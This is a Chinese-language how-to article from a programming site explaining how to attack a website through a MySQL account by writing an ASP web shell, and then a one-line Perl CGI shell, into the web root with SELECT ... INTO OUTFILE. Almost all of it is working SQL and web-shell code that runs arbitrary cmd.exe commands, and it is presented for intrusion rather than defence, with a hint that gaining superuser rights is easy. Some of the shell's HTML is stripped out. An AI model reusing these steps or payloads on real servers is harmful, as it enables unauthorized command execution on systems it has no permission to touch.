程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> 關於MYSQL數據庫 >> 利用mysql空密碼進行攻擊

利用mysql空密碼進行攻擊

編輯：關於MYSQL數據庫

一天,突然得到一網站的MySQL的賬號,並查到它的主頁所在位置為c:\www\www,首先在網上下載一個cmd.asp程序,然後寫一個cmd.sql程序以便進行連接,把cmd.ASP上傳至它的目錄,cmd.sql內容如下:

use test; 
create table tmp(cmd TEXT); 
insert into tmp values("<%@ Language=VBScript %>"); 
insert into tmp values("<%"); 
insert into tmp values("Dim oScript"); 
insert into tmp values("Dim oScriptNet"); 
insert into tmp values("Dim oFileSys, oFile"); 
insert into tmp values("Dim szCMD, szTempFile"); 
insert into tmp values("On Error Resume Next"); 
insert into tmp values("' -- create the COM objects that we will be using -- '"); 
insert into tmp values('Set oScript = Server.CreateObject("WSCRIPT.SHELL")'); 
insert into tmp values('Set oScriptNet = Server.CreateObject("WSCRIPT.NetWORK")'); 
insert into tmp values('Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")'); 
insert into tmp values("' -- check for a command that we have posted -- '"); 
insert into tmp values('szCMD = Request.Form(".CMD")'); 
insert into tmp values('If (szCMD <> "") Then'); 
insert into tmp values("' -- Use a poor mans pipe ... a temp file -- '"); 
insert into tmp values('szTempFile = "C:\" & oFileSys.GetTempName( )'); 
insert into tmp values('Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)'); 
insert into tmp values('Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)'); 
insert into tmp values("End If"); 
insert into tmp values("%>"); 
insert into tmp values(""); 
insert into tmp values(""); 
insert into tmp values('" method="POST">'); 
insert into tmp values(''); 
insert into tmp values(''); 
insert into tmp values(""); 
insert into tmp values(""); 
insert into tmp values('<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>'); 
insert into tmp values("
"); 
insert into tmp values("<%"); 
insert into tmp values("If (IsObject(oFile)) Then"); 
insert into tmp values("' -- Read the output from our command and remove the temp file -- '"); 
insert into tmp values("On Error Resume Next"); 
insert into tmp values("Response.Write Server.HtmlEncode(oFile.ReadAll)"); 
insert into tmp values("oFile.Close"); 
insert into tmp values("Call oFileSys.DeleteFile(szTempFile, True)"); 
insert into tmp values("End If"); 
insert into tmp values("%>"); 
insert into tmp values(""); 
insert into tmp values(""); 
select * from tmp into outfile "c:\\www\\www\\234.ASP"; 
drop table tmp;

在用insert into往表裡添加內容時，不能只用一個insert into將內容全部添加進去，要一行一行的加，不然就會出現錯誤，所以每一行都得有一個insert into.

然後進行連接:

c:\mysql\bin\MySQL -u user -p passWord -h ip

如果變為:

c:\MySQL\bin\

則表明建立ASP文件成功!然後:

http:\\www.xxx.com/234.ASP

便可以得到一個普通用戶的shell了!第一步成功了，成為超級用戶也不會是難事吧!

如果通過MySQL上傳CGI文件的話就不用那麼長篇了,

cmd.sql: 
use test; 
create table tmp(cmd TEXT); 
insert into tmp values('system @ARGV'); 
select * from tmp into outfile "c:\\www\\www\\234.CGI"; 
drop table tmp;

然後就可以通過http:\\www.xxx.com/234.CGI?dir c:\了,同樣也得到了一個普通用戶的shell了